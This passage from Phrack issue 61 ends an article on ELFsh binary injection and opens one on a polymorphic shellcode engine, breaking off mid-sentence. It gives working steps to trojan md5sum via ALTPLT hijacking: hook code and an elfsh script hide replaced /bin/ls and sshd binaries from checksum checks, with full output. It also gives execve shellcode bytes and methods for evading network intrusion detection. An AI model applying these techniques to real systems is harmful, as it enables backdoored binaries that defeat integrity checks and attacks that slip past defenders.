	      - Add section's size to p_offset
	   ]
       ]
       - Shift SHT (see algorithm below)


---------[ Section post-bss injection algorithm


	- Create new section's header 
	- Inject section header (see SHT header insertion algorithm)
	FOREACH PHT entry
	[
	   IF a/ segment is loadable (p_type == PT_LOAD)
	      b/ segment is writable (p_flags & PF_W)
	   [
	      - Add section's size to p_memsz and p_filesz
	      - End of algorithm
	   ]	
	]
	- Shift SHT by the section size (see next algorithm)


---------[ SHT shifting algorithm


	FOREACH SHT entry
	[
	   IF current linked section (sh_link) points after new section
	   [
	      - Increment by 1 the sh_link field
	   ]
	   IF current file offset > injected section file offset
	   [
	      - Add injected section sh_size to current sh_offset
	   ]
	]


---------[ SHT header insertion algorithm

	   
	- Insert new section's name into .shstrtab
	- Insert new entry in SHT at requested range
	- Increment by 1 the e_shnum field in ELF header
	FOREACH SHT entry
	[
	   IF current entry file offset is after SHT file offset
	   [
	      - Add e_shentsize from ELF header to current sh_offset
	   ]
	]
	IF injected section header sh_offset <= SHT file offset
	[
	  - Add new section size (sh_size) to e_shoff field in ELF header
	]
	IF requested new section range <= section string table index
	[
	   - Increment sh_strndx field in ELF header
	]


---------[ Symbol injection algorithm


	- Insert symbol name into .strtab section
	- Insert symbol entry into .symtab section


---------[ Section data injection algorithm (apply to all type of section)
	  

	- Insert data into section
	- Add injected data size to section's sh_size
	IF SHT file offset > section file offset
	[
	  - Add injected data size to e_shoff in ELF header
	]
	FOREACH SHT entry
	[
	   IF current entry sh_offset field > extended section file offset
	   [
	      IF current entry sh_addr field is non-null
	      [
	         - Add injected data size to sh_addr
	      ]
	      - Add injected data size to sh_offset
	   ]
	]
	IF extended section sh_addr is non-null
	[
	   FOREACH symbol table entry
	   [
	      IF symbol points after extended section former upper bound
	      [
		 - Add injected data size to st_value field
	      ]
	   ]
	]


     The relocation (step 4) algorithm wont be detailed, because it is
     already all explained in the ELF reference. In short, the relocation 
     process consists in updating all the addresses references in the 
     injected ET_REL code, using the available merged symbol tables in 
     the ET_EXEC file. There are 12 relocation types on INTEL and 56 
     relocations types on SPARC, however, only 2 types are mostly used on
     INTEL, and only 3 on SPARC for ET_REL objects.

     This last stage is a switch/case based algorithm, which has in
     charge to update some bytes, many times, in each injected mapped
     section. The relocation tables contains all the information necessary
     for this operation, their name is .rel.<target> (or .rela.<target> on
     SPARC), with <target> beeing the section which is going to be 
     relocated using this table). Those sections can be easily found just
     parsing the SHT and looking for sections whoose st_type is SHT_REL 
     (or SHT_RELA on SPARC).

     What makes the ELFsh relocation engine powerful, is the using of both
     symbol table (.symtab and .dynsym), which means that the injected 
     code can resolve symbols from the executable itself, e.g. it is 
     possible to call the core functions of the executable, as well 
     as existing .plt entries from the backdoor code, if their symbol 
     value is available. For more details about the relocation step, 
     please look at the ELFsh code in libelfsh/relinject.c, particulary 
     at the elfsh_relocate_i386 and and elfsh_relocate_sparc.

     As suggested in the previous paragraph, ELFsh has a limitation since
     it is not possible to call functions not already present in the 
     binary. If we want to call such functions, we would have to add 
     information for the dynamic linker, so that the function address can
     be resolved in runtime using the standard GOT/PLT mechanism. It 
     would requires .got, .plt, .rel.plt, .dynsym, .dynstr, and .hash
     extensions, which is not trivial when we dont want to move the 
     binary data and code zones from their original addresses. 

     Since relocation information is not available for ET_EXEC ELF 
     objects, we woulnt be sure that our reconstructed relocation 
     information would be 100% exact, without having a very strong and 
     powerful dataflow analysis engine. This was proved by modremap 
     (modules/modremap.c) written by spacewalkr, which is a 
     SHT/PHT/symtab shifter. Coupled to the ELFsh relocation finder 
     (vm/findrel.c), this module can remap a ET_EXEC binary in another 
     place of the address space. This is known to work for /bin/ls and 
     various /bin/* but bigger binaries like ssh/sshd cannot be relocated
     using this technique, because valid pointers double words are not
     always real pointers in such bins (false positives happen in hash
     values).

     For this reason, we dont want to move ET_EXEC section's from their
     original place. Instead, it is probably possible to add extra 
     sections and use big offsets from the absolute addresses stored
     into .dynamic, but this feature is not yet provided. A careful 
     choice of external functions hijacking is usually enough to get rid
     of the non-present symbol problem, even if this 'extra-function 
     resolving' feature will probably be implemented in the future. For
     some sections like .hash, it may be necessary to do a copy of the
     original section after .bss and change the referenced address in
     the .dynamic section, so that we can extend the hash without moving
     any original code or data.


-------[ 4. Infection : ALTPLT technique


     Now that we have a decent residency technique in ET_REL injection,
     let's focus on a new better infection technique than GOT redirection
     and PLT infection : the ALTPLT technique. This new technique takes
     advantage of the symbol based function address resolving of the
     previous technique, as detailed below.

     ALTPLT is an improvement of PLT infection technique. Silvio Cesare
     describes how to modify the .plt section, in order to redirect
     function calls to library onto another code, so called the hook
     code. From [4], the algorithm of original .plt infection:


     -----%<-------%<--------%<---------%<----------%<--------%<---------

     '' The algorithm at the entry point code is as follows...

     * mark the text segment writable
     * save the PLT(GOT) entry
     * replace the PLT(GOT) entry with the address of the new libcall

     The algorithm in the new library call is as follows...

     * do the payload of the new libcall
     * restore the original PLT(GOT) entry
     * call the libcall
     * save the PLT(GOT) entry again (if it is changed)
     * replace the PLT(GOT) entry with the address of the new libcall ''

     -----%<-------%<--------%<---------%<----------%<--------%<---------

     The implementation of such an algorithm was presented in x86
     assembly language using segment padding residency. This technique
     is not enough because:

	 1/ It is architecture dependant
	 2/ Strict segments rights may not be kept consistant (PaX unsafe)
	 3/ The general layout of the technique lacks a formal interface
	 
     The new ALTPLT technique consists of copying the Procedure Linkage
     Table (.plt) to an alternative section, called .orig.plt, using a 
     pre-interp injection, so that it resides in the read-only code
     segment. For each entry of the .orig.plt, we create and inject a
     new reference symbol, which name the same as the .plt entry symbol
     at the same index, except that it starts by 'old_'.

     Using this layout, we are able to perform standard PLT infection on
     the original .plt section, but instead of having a complex
     architecture dependant hook code, we use an injected function
     residing in hook.o.text, which is the text section of an ET_REL
     module that was injected using the technique described in the	
     previous part of the paper. 

     This way, we can still call the original function using
     old_funcname(), since the injected symbol will be available for
     the relocation engine, as described in the ET_REL injection
     algorithm ;).

     We keep the GOT/PLT mechanism intact and we rely on it to provide
     a normal function address resolution, like in every dynamic
     executable files. The .got section will now be unique for both .plt 
     and .orig.plt sections. The added section .orig.plt is a strict copy
     of the original .plt, and will not ever be overwritten. In other
     words, .orig.plt is PaX safe. The only difference will be that 
     original .plt entries may not use .got, but might be redirected on
     another routine using a direct branchement instruction.

     Let's look at an example where the puts() function is hijacked, and
     the puts_troj() function is called instead.


     On INTEL:


 -----BEGIN EXAMPLE 13-----
 old_puts + 0   jmp  *<_GLOBAL_OFFSET_TABLE_ + 20>      FF 25 00 97 04 08 
 old_puts + 6   push          $10                       68 10 00 00 00 
 old_puts + 11  jmp           <old_dlresolve>           E9 C0 FF FF FF 

 puts + 0       jmp           <puts_troj>               E9 47 ED FF FF 
 puts + 5       or            %ch,10(%eax)              08 68 10 
 puts + 8       add           %al,(%eax)                00 00 
 puts + 10      add           %ch,%cl                   00 E9 
 puts + 12      sar           $FF,%bh                   C0 FF FF 
 puts + 15      (bad)         %edi                      FF FF 
 -----END EXAMPLE 13-----


     On SPARC:


 -----BEGIN EXAMPLE 14-----
 old_puts + 0   sethi  %hi(0xf000), %g1			03 00 00 3c     
 old_puts + 4   b,a   e0f4 <func2+0x1e0c>		30 bf ff f0     
 old_puts + 8   nop					01 00 00 00     

 puts + 0	jmp  %g1 + 0xf4 ! <puts_troj>		81 c0 60 f4     
 puts + 4	nop					01 00 00 00     
 puts + 8	sethi  %hi(0x12000), %g1		03 00 00 48     
 -----END EXAMPLE 14-----

      
    This is the only architecture dependant operation in the ALTPLT 
    algorithm. It means that this feature can be implemented very easily
    for other processors as well. However, on SPARC there is one more
    modification to do on the first entry of the .orig.plt section.
    Indeed, the SPARC architecture does not use a Global Offset Table 
    (.got) for function address resolving, instead the .plt section is 
    directly modified at dynamic linking time. Except for this
    difference, the SPARC .plt works just the same as INTEL .plt (both 
    are using the first .plt entry each time, as explained in the ELF 
    reference).

    For this reason, we have to modify the first .orig.plt entry to make
    it point on the first .plt entry (which is patched in runtime before 
    the main() function takes control). In order to patch it, we need to
    use a register other than %g1 (since this one is used by the dynamic 
    linker to identify the .plt entry which has to be patched), for 
    example %g2 (elfsh_hijack_plt_sparc_g2 in libelfsh/hijack.c).

    Patched first .orig.plt entry on SPARC:

      
 -----BEGIN EXAMPLE 15-----
 .orig.plt	 sethi  %hi(0x20400), %g2		05 00 00 81
 .orig.plt	 jmp    %g2 + 0x2a8  ! <.plt>		81 c0 a2 a8
 .orig.plt	 nop					01 00 00 00
 -----END EXAMPLE 15-----


    The reason for NOP instructions after the branching instruction
    (jmp) is because of SPARC delay slot. In short, SPARC branchement
    is done in such way that it changes the NPC register (New Program
    Counter) and not the PC register, and the instruction after a
    branching one is executed before the real branchement. 

    Let's use a new example which combines ET_REL injection and ALTPLT
    infection this time (instead of GOT redirection, like in the previous
    sshd example). We will modify md5sum so that access to /bin/ls and
    /usr/sbin/sshd is redirected. In that case, we need to hijack the
    fopen64() function used by md5sum, swap the real path with the
    backup path if necessary, and call the original fopen64 as if
    nothing had happened:


 -----BEGIN EXAMPLE 16-----
 $ cat md16.esh
 #!/usr/bin/elfsh
 
 load /usr/bin/md5sum
 load test.o
 
 # Add test.o into md5sum
 reladd 1 2

 # Redirect fopen64 to fopen64_troj (in test.o) using ALTPLT technique
 redir fopen64 fopen64_troj

 save md5sum.new
 quit
 $ chmod +x md16.esh
 $ 
 -----END EXAMPLE 16-----


	  Let's look at the injected code. Because the strcmp() libc
	  function is not used by md5sum and therefore its symbol is not
	  available in the binary, we have to copy it in the module
	  source:


 -----BEGIN EXAMPLE 17-----
 $ cat test.c
 #include <stdlib.h>

 #define HIDDEN_DIR      "/path/to/hidden/dir"
 #define LS              "/bin/ls"
 #define SSHD            "/usr/sbin/sshd"
 #define LS_BAQ          "ls.baq"
 #define SSHD_BAQ        "sshd.baq"

 int     mystrcmp(char *str1, char *str2)
 {
   u_int cnt;

   for (cnt = 0; str1[cnt] && str2[cnt]; cnt++)
     if (str1[cnt] != str2[cnt])
       return (str1[cnt] - str2[cnt]);
   return (str1[cnt] - str2[cnt]);
 }

 int     fopen64_troj(char *str1, char *str2)
 {
   if (!mystrcmp(str1, LS))
     str1 = HIDDEN_DIR "/" LS_BAQ;
   else if (!mystrcmp(str1, SSHD))
     str1 = HIDDEN_DIR "/" SSHD_BAQ;
   return (old_fopen64(str1, str2));
 }
 $ gcc test.c -c 
 $ 
 -----END EXAMPLE 17-----


	  For this last example, the full relinking information
	  will be printed on stdout, so that the reader can enjoy
	  all the details of the implementation:


 -----BEGIN EXAMPLE 18-----
 $ 

  Welcome to The ELF shell 0.5b9 .::.

  .::. This software is under the General Public License
  .::. Please visit http://www.gnu.org to know about Free Software

~load /usr/bin/md5sum
 [*] New object /usr/bin/md5sum loaded on Sat Aug  2 16:16:32 2003

~exec cc test.c -c
 [*] Command executed successfully

~load test.o
 [*] New object test.o loaded on Sat Aug  2 16:16:32 2003

~reladd 1 2
[DEBUG_RELADD] Found BSS zone lenght [00000000] for module [test.o]
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.text       [080470F4]
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.rodata     [080460F4]
[DEBUG_RELADD] Inserted STT_SECT symbol .orig.plt         [080450F4]
[DEBUG_RELADD] Injected symbol old_dlresolve              [080450F4]
[DEBUG_RELADD] Injected symbol old_ferror                 [08045104]
[DEBUG_COPYPLT] Symbol at .plt + 16 injected succesfully
[DEBUG_RELADD] Injected symbol old_strchr                 [08045114]
[DEBUG_COPYPLT] Symbol at .plt + 32 injected succesfully
[DEBUG_RELADD] Injected symbol old_feof                   [08045124]
[DEBUG_COPYPLT] Symbol at .plt + 48 injected succesfully
[DEBUG_RELADD] Injected symbol old___register_frame_info  [08045134]
[DEBUG_COPYPLT] Symbol at .plt + 64 injected succesfully
[DEBUG_RELADD] Injected symbol old___getdelim             [08045144]
[DEBUG_COPYPLT] Symbol at .plt + 80 injected succesfully
[DEBUG_RELADD] Injected symbol old_fprintf                [08045154]
[DEBUG_COPYPLT] Symbol at .plt + 96 injected succesfully
[DEBUG_RELADD] Injected symbol old_fflush                 [08045164]
[DEBUG_COPYPLT] Symbol at .plt + 112 injected succesfully
[DEBUG_RELADD] Injected symbol old_dcgettext              [08045174]
[DEBUG_COPYPLT] Symbol at .plt + 128 injected succesfully
[DEBUG_RELADD] Injected symbol old_setlocale              [08045184]
[DEBUG_COPYPLT] Symbol at .plt + 144 injected succesfully
[DEBUG_RELADD] Injected symbol old___errno_location       [08045194]
[DEBUG_COPYPLT] Symbol at .plt + 160 injected succesfully
[DEBUG_RELADD] Injected symbol old_puts                   [080451A4]
[DEBUG_COPYPLT] Symbol at .plt + 176 injected succesfully
[DEBUG_RELADD] Injected symbol old_malloc                 [080451B4]
[DEBUG_COPYPLT] Symbol at .plt + 192 injected succesfully
[DEBUG_RELADD] Injected symbol old_fread                  [080451C4]
[DEBUG_COPYPLT] Symbol at .plt + 208 injected succesfully
[DEBUG_RELADD] Injected symbol old___deregister_frame_info [080451D4]
[DEBUG_COPYPLT] Symbol at .plt + 224 injected succesfully
[DEBUG_RELADD] Injected symbol old_bindtextdomain         [080451E4]
[DEBUG_COPYPLT] Symbol at .plt + 240 injected succesfully
[DEBUG_RELADD] Injected symbol old_fputs                  [080451F4]
[DEBUG_COPYPLT] Symbol at .plt + 256 injected succesfully
[DEBUG_RELADD] Injected symbol old___libc_start_main      [08045204]
[DEBUG_COPYPLT] Symbol at .plt + 272 injected succesfully
[DEBUG_RELADD] Injected symbol old_realloc                [08045214]
[DEBUG_COPYPLT] Symbol at .plt + 288 injected succesfully
[DEBUG_RELADD] Injected symbol old_textdomain             [08045224]
[DEBUG_COPYPLT] Symbol at .plt + 304 injected succesfully
[DEBUG_RELADD] Injected symbol old_printf                 [08045234]
[DEBUG_COPYPLT] Symbol at .plt + 320 injected succesfully
[DEBUG_RELADD] Injected symbol old_memcpy                 [08045244]
[DEBUG_COPYPLT] Symbol at .plt + 336 injected succesfully
[DEBUG_RELADD] Injected symbol old_fclose                 [08045254]
[DEBUG_COPYPLT] Symbol at .plt + 352 injected succesfully
[DEBUG_RELADD] Injected symbol old_getopt_long            [08045264]
[DEBUG_COPYPLT] Symbol at .plt + 368 injected succesfully
[DEBUG_RELADD] Injected symbol old_fopen64                [08045274]
[DEBUG_COPYPLT] Symbol at .plt + 384 injected succesfully
[DEBUG_RELADD] Injected symbol old_exit                   [08045284]
[DEBUG_COPYPLT] Symbol at .plt + 400 injected succesfully
[DEBUG_RELADD] Injected symbol old_calloc                 [08045294]
[DEBUG_COPYPLT] Symbol at .plt + 416 injected succesfully
[DEBUG_RELADD] Injected symbol old__IO_putc               [080452A4]
[DEBUG_COPYPLT] Symbol at .plt + 432 injected succesfully
[DEBUG_RELADD] Injected symbol old_free                   [080452B4]
[DEBUG_COPYPLT] Symbol at .plt + 448 injected succesfully
[DEBUG_RELADD] Injected symbol old_error                  [080452C4]
[DEBUG_COPYPLT] Symbol at .plt + 464 injected succesfully
[DEBUG_RELADD] Entering intermediate symbol injection loop
[DEBUG_RELADD] Injected ET_REL symbol mystrcmp            [080470F4]
[DEBUG_RELADD] Injected symbol mystrcmp                   [080470F4]
[DEBUG_RELADD] Injected ET_REL symbol fopen64_troj        [08047188]
[DEBUG_RELADD] Injected symbol fopen64_troj               [08047188]
[DEBUG_RELADD] Entering final relocation loop
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 080460F4]
[DEBUG_RELADD] Relocate using section test.o.text    base [-> 080470F4]
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 080460FC]
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 08046117]
[DEBUG_RELADD] Relocate using section test.o.text    base [-> 080470F4]
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 08046126]
[DEBUG_RELADD] Relocate using existing symbol old_fopen64 [08045274]
 [*] ET_REL test.o injected succesfully in ET_EXEC /usr/bin/md5sum

~redir fopen64 fopen64_troj
 [*] Function fopen64 redirected to addr 0x08047188 <fopen64_troj>

~save md5sum.new
 [*] Object md5sum.new save successfully

~quit
 [*] Unloading object 1 (test.o)
 [*] Unloading object 2 (/usr/bin/md5sum) *

         Good bye ! .::. The ELF shell 0.5b9
 $ 
 -----END EXAMPLE 18-----

	  
	  As shown in the script output, the new file has got new
	  symbols (the old symbols). Let's observe them using the
	  elfsh '-sym' command and the regex capability ('old') :


 -----BEGIN EXAMPLE 19-----
 $ elfsh -q -f md5sum.new -sym old
 [SYMBOL TABLE]
 [Object md5sum.new]

 [27] 0x80450f4  FUNC old_dlresolve                sz:16 scop:Local 
 [28] 0x8045104  FUNC old_ferror                   sz:16 scop:Local 
 [29] 0x8045114  FUNC old_strchr                   sz:16 scop:Local 
 [30] 0x8045124  FUNC old_feof                     sz:16 scop:Local 
 [31] 0x8045134  FUNC old___register_frame_info    sz:16 scop:Local 
 [32] 0x8045144  FUNC old___getdelim               sz:16 scop:Local 
 [33] 0x8045154  FUNC old_fprintf                  sz:16 scop:Local 
 [34] 0x8045164  FUNC old_fflush                   sz:16 scop:Local 
 [35] 0x8045174  FUNC old_dcgettext                sz:16 scop:Local 
 [36] 0x8045184  FUNC old_setlocale                sz:16 scop:Local 
 [37] 0x8045194  FUNC old___errno_location         sz:16 scop:Local 
 [38] 0x80451a4  FUNC old_puts                     sz:16 scop:Local 
 [39] 0x80451b4  FUNC old_malloc                   sz:16 scop:Local 
 [40] 0x80451c4  FUNC old_fread                    sz:16 scop:Local 
 [41] 0x80451d4  FUNC old___deregister_frame_info  sz:16 scop:Local 
 [42] 0x80451e4  FUNC old_bindtextdomain           sz:16 scop:Local 
 [43] 0x80451f4  FUNC old_fputs                    sz:16 scop:Local 
 [44] 0x8045204  FUNC old___libc_start_main        sz:16 scop:Local 
 [45] 0x8045214  FUNC old_realloc                  sz:16 scop:Local 
 [46] 0x8045224  FUNC old_textdomain               sz:16 scop:Local 
 [47] 0x8045234  FUNC old_printf                   sz:16 scop:Local 
 [48] 0x8045244  FUNC old_memcpy                   sz:16 scop:Local 
 [49] 0x8045254  FUNC old_fclose                   sz:16 scop:Local 
 [50] 0x8045264  FUNC old_getopt_long              sz:16 scop:Local 
 [51] 0x8045274  FUNC old_fopen64                  sz:16 scop:Local 
 [52] 0x8045284  FUNC old_exit                     sz:16 scop:Local 
 [53] 0x8045294  FUNC old_calloc                   sz:16 scop:Local 
 [54] 0x80452a4  FUNC old__IO_putc                 sz:16 scop:Local 
 [55] 0x80452b4  FUNC old_free                     sz:16 scop:Local 
 [56] 0x80452c4  FUNC old_error                    sz:16 scop:Local 
 $ 
 -----END EXAMPLE 19-----


	  It sounds good ! Does it work now?

	 

   $ md5sum /bin/bash
   ebe1f822a4d026c366c8b6294d828c87  /bin/bash
   $ ./md5sum.new /bin/bash
   ebe1f822a4d026c366c8b6294d828c87  /bin/bash

   $ md5sum /bin/ls 
   3b622e661f6f5c79376c73223ebd7f4d  /bin/ls
   $ ./md5sum.new /bin/ls 
   ./md5sum.new: /bin/ls: No such file or directory

   $ md5sum /usr/sbin/sshd 
   720784b7c1e5f3418710c7c5ebb0286c  /usr/sbin/sshd
   $ ./md5sum.new /usr/sbin/sshd 
   ./md5sum.new: /usr/sbin/sshd: No such file or directory

   $ ./md5sum.new ./md5sum.new   
   b52b87802b7571c1ebbb10657cedb1f6  ./md5sum.new
   $ ./md5sum.new /usr/bin/md5sum 
   8beca981a42308c680e9669166068176  /usr/bin/md5sum
   $ 


   Heheh. It work so well that even if you forget to put the original
   copy in your hidden directory, md5sum prints the original path and
   not your hidden directory path ;). This is because we only change a
   local pointer in the fopen64_troj() function, and the caller function
   is not aware of the modification, so the caller error message is
   proceeded with the original path.
 
   Let's give the detailed algorithm for the ALTPLT technique. It must
   be used as a '2 bis' step in the main ET_REL injection algorithm
   given in the previous chapter, so that injected code can use any
   old_* symbols:

    
    - Create new section header with same size, type, rights as .plt
    - Insert new section header
    IF current OS == FreeBSD
    [
       - Inject section using post-bss technique.
    ]
    ELSE
    [
       - Inject section using pre-interp technique.
    ]
    FOREACH .plt entry (while counter < sh_size)
    [
      IF counter == 0 AND current architecture is SPARC
      [
        - Infect current entry using %g2 register.
      ]
      - Inject new 'old_<name>' symbol pointing on current entry 
        (= sh_addr + cnt)
      - Add PLT entry size in bytes (SPARC: 12, INTEL: 16) to cnt 
    ]


    This algorithm is executed once and only once per ET_EXEC file. The
    'redir' command actually performs the PLT infection on demand. A
    future (better) version of this command would allow core binary
    function hijacking. Since the code segment is read-only in userland,
    we cant modify the first bytes of the function at runtime and perform
    some awful bytes restoration [13] [14] for calling back the original
    function. The best solution is probably to build full control flow 
    graphs for the target architecture, and redirect all calls to a given 
    block (e.g. the first block of the hijacked function), making all 
    these calls point to the hook function, as suggested in [15] . ELFsh 
    provides INTEL control flow graphs (see modflow/modgraph), so does 
    objobf [16], but the feature is not yet available for other
    architectures, and some specific indirect branchement instructions
    are not easily predictable [17] using static analysis only, so it
    remains in the TODO.


-------[ 5. The end ?


    This is the end, beautiful friend. This is the end, my only friend,
    the end... Of course, there is a lot of place for improvements and new
    features in this area. More target architectures are planed (pa-risc,
    alpha, ppc?), as well as more ELF objects support (version tables,
    ELF64) and extension for the script langage with simple data and
    control flow support. The ELF development is made easy using the
    libelfsh API and the script engine. Users are invited to improve the
    framework and all comments are really welcomed.


-------[ 6. Greets


    Greets go to #!dh and #dnerds peoples, you know who you are. Special
    thanks to duncan @ mygale and zorgon for beeing cool-asses and giving
    precious feedback. 

    Other thanks, in random order : Silvio Cesare for his great work on
    the first generation ELF techniques (I definitely learnt a lot from
    you), all the ELFsh betatesters & contributors (y0 kil3r and thegrugq)
    who greatly helped to provide reliable and portable software, pipash for
    finding all the 76 char lenght lines of the article (your feedback
    r00lz as usual ;) , grsecurity.net (STBWH) for providing a useful
    sparc/linux account, and Shaun Clowes for giving good hints. 

    Last minut big thanks to the M1ck3y M0us3 H4ck1ng Squ4dr0n and all the
    peoples at Chaos Communication Camp 2003 (hi Bulba ;) for the great
    time I had with them during those days, you guyz rock.


-------[ 7. References


  [1] The ELF shell project				The ELF shell crew
  MAIN   : elfsh.devhell.org
  MIRROR : elfsh.segfault.net

  [2] PaX project					The PaX team
  pageexec.virtualave.net

  [3] ELF TIS reference	          
  x86.ddj.com/ftp/manuals/tools/elf.pdf
  www.sparc.com/standards/psABI3rd.pdf (SPARC supplement)

  [4] UNIX ELF parasites and virus			silvio
  www.u-e-b-i.com/silvio/elf-pv.txt

  [5] Shared library redirection by ELF PLT infection	silvio
  phrack.org/phrack/56/p56-0x07

  [6] Understanding ELF rtld internals			mayhem
  devhell.org/~mayhem/papers/elf-rtld.txt

  [7] More ELF buggery (bugtraq post)			thegrugq
  www.securityfocus.com/archive/1/274283/2002-05-21/2002-05-27/0

  [8] Runtime process infection				anonymous
  phrack.org/phrack/59/p59-0x08.txt

  [9] Subversive ELF dynamic linking			thegrugq
  downloads.securityfocus.com/library/subversiveld.pdf

  [10] Static kernel patching				jbtzhm
  phrack.org/phrack/60/p60-0x08.txt
 
  [11] Run-time kernel patching				silvio
  www.u-e-b-i.com/silvio/runtime-kernel-kmem-patching.txt

  [12] Bypassing stackguard and stackshield		bulba/kil3r
  phrack.org/phrack/56/p56-0x05

  [13] Kernel function hijacking			silvio
  www.u-e-b-i.com/silvio/kernel-hijack.txt

  [14] IA32 advanced function hooking			mayhem
  phrack.org/phrack/58/p58-0x08

  [15] Unbodyguard (solaris kernel function hijacking)	noir
  gsu.linux.org.tr/~noir/b.tar.gz

  [16] The object code obfuscator tool of burneye2	scut
  segfault.net/~scut/objobf/

  [17] Secure Execution Via Program Shepherding		Vladimir Kiriansky
  www.cag.lcs.mit.edu/dynamorio/security-usenix.pdf	Derek Bruening
						 	Saman Amarasinghe

|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------


                          ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x09 of 0x0f

|=--------[Polymorphic Shellcode Engine Using Spectrum Analysis]--------=|
|=----------------------------------------------------------------------=|
|=--------[        theo detristan  theo@ringletwins.com        ]--------=|
|=--------[     tyll ulenspiegel tyllulenspiegel@altern.org    ]--------=| 
|=--------[         yann_malcom   yannmalcom@altern.org        ]--------=|
|=--------[ mynheer superbus von underduk msvu@ringletwins.com ]--------=|
|=----------------------------------------------------------------------=|


--[ 0 - Contents

        1 - Abstract

	2 - Introduction

	3 - Polymorphism: principles and usefulness against NIDS.

	4 - Make the classical IDS pattern matching inefficient.

	5 - Spectrum Analysis to defeat data mining methods.

	6 - The CLET polymorphism engine

	7 - References


--[ 1 - Abstract

Nowadays, polymorphic is maybe an overused word. Some programs called 
polymorphism engine have been lately released with constant decipher 
routines. Polymorphism is a method against pattern matching (cf 3.2), 
if you have constant consecutive bytes in the code you generate, NIDS 
will always be able to recognize the signature of those constant bytes... 

In some real engine (which generate non-constant decipher routine like 
ADMmutate), there are some weaknesses left (maybe weaknesses isn't the 
best word since the recent NIDS are not able to exploit them) like the
XOR problem (cf 4.2) or a NOP zone with only one byte instructions 
(cf 4.1). In our engine, we have been interested in these problems (cf 4)
and we have tried to implement some solutions. We have tried too to 
implement methods against the next generation of NIDS using data-mining
methods (cf 5).

However we don't claim to have created an 'ultimate' polymorphic 
engine. We are aware of some weaknesses that exist and can be solved with   
solutions we expose below but we haven't implemented yet. There are 
probably some weaknesses too we're not aware of, your mails are welcome
for the next version. 

This article explains our work, our ideas, we hope you will enjoy it.


--[ 2 - Introduction

Since the famous "Smashing the stack for fun and profit", the technique
of buffer overflow has been widely used to attack systems.

To confine the threat new defense systems have appeared based on pattern 
matching. Nowadays, Intrusion Detection System (IDS) listen the trafic 
and try to detect and deny packets containing shellcode used in buffer 
overflow attacks.

On the virus scene, a technique called polymorphism appeared in 1992. The
idea behind this technique is very simple, and this idea can be applied to 
shellcodes. ADMmutate is a first public attempt to apply polymorphism to 
shellcode.

Our aim was to try to improve the technique, find enhancements and to
apply them to an effective polymophic shellcode engine.


--[ 3 - Polymorphism: principles and usefulness against NIDS.

----[ 3.1 - Back in 1992...

In 1992, Dark Avenger invented a revolutionary technique he called 
polymorphism. What is it ? It simply consist of ciphering the code of the 
virus and generate a decipher routine which is different at each time, so 
that the whole virus is different at each time and can't be scanned !

Very good polymorphic engines have appeared : the TridenT Polymorphic
Engine (TPE), Dark Angel Mutation Engine (DAME).

As a consequence, antivirus makers developped new heuristic techniques
such as spectrum analysis, code emulators, ...


----[ 3.2 - Principles of polymorphism

Polymorphism is a generic method to prevent pattern-matching. Pattern-
matching means that a program P (an antivirus or an IDS) has a data-base
with 'signatures'. A signature is bytes suite identifying a program.
Indeed, take the following part of a shellcode:

        push byte 0x68
        push dword 0x7361622f
        push dword 0x6e69622f
        mov ebx,esp

        xor edx,edx
        push edx
        push ebx
        mov ecx,esp
        push byte 11
        pop eax
        int 80h

This part makes an execve("/bin/bash",["/bin/bash",NULL],NULL) call.
This part is coded as:
"\x6A\x68\x68\x2F\x62\x61\x73\x68\x2F\x62\x69\x6E\x89\xE3\x31\xD2"
"\x52\x53\x89\xE1\x6A\x0B\x58\xCD\x80". 
If you locate this contiguous bytes in a packet destinated to a web 
server, it can be an attack. An IDS will discard this packet. 
Obviously, there are other methods to make an execve call, however, it 
will make an other signature. That's what we call pattern matching. 
Speak about viruses or shellcodes is not important, the principles are the 
same. We will see later the specificities of shellcodes.

Imagine now you have a code C that a program P is searching for. Your 
code is always the same, that's normal, but it's a weakness. P can have 
a caracteristic sample, a signature, of C and make pattern matching to 
detect C. And then,C is no longer useable when P is running.

The first idea is to cipher C. Imagine C is like that :

            [CCCCCCC]

Then you cipher it :

            [KKKKKKKK]

But if you want to use C, you must put a decipher routine in front of it :

        [DDDDKKKKKKKK]

Great ! You have ciphered C and the sample of C that is in P is no longer 
efficient. But you have introduced a new weakness because your decipher 
routine will be rather the same (except the key) each time and P will be 
able to have a sample of the decipher routine.

So finally, you have ciphered C but it is still detected :(

And polymorphism was born !

The idea is to generate a different decipher routine each time."different" 
really means different, not just the key. You can do it with different 
means :
  - generate a decipher routine with different operations at each time. A 
  classic cipher/decipher routine uses a XOR but you can use whatever 
  operation that is reversible : ADD/SUB, ROL/ROR, ... 
  - generate fake code between the true decipher code. For example, if you
  don't use some registers, you can play with them, making fake operations
  in the middle of the effective decipher code.
  - make all of them.

So a polymorphism engine makes in fact 2 things :
  - cipher the body of the shellcode.
  - generate a decipher routine which is _different_ at each time.


----[ 3.3 - Polymorphism versus NIDS.

A code of buffer overflow has three or four parts:
--------------------------------------------------------------------------
|         NOP        |   shellcode   | bytes to cram |    return adress  |
--------------------------------------------------------------------------

Nowadays, NIDS try to find consecutive NOPs and make pattern matching on 
the shellcodes when it believes to have detected a fakenop zone. This is
not a really efficient method, however we could imagine methodes to 
recognize the part of bytes which cram the buffer or the numberous 
consecutive return adresses.
So, our polymorphic engine have to work on each of those parts to make them 
unrecognizable. That's what we try to do:

- firstly, the NOPs series is changed in a series of random instructions 
  (cf 4.1 "fake-nop") of 1,2,3 bytes.

- secondly, the shellcode is ciphered (with a random method using more
  than an only XOR) and the decipher routine is randomly generated.
  (cf 4.2)

- thirdly, in a polymorphic shellcode, a big return adress zone has to 
  be avoided. Indeed, such a big zone can be detected, particulary by
  data mining methods. To defeat this detection, the idea is to try to
  limit the size of the adress zone and to add bytes we choose between
  shellcode and this zone. This bytes are chosen randomly or by using
  spectrum analysis (cf 5.3.A).

- endly, we haven't  found a better method than ADMmutate's to covert
  the return adresses: since the return adresse is chosen with 
  uncertainly, ADMmutate changes the low-weight bits of the return adress
  between the different occurences (cf 4.2).


NB: Shellcodes are not exactly like virus and we can take advantage of it:
- A virus must be very careful that the host program still works after 
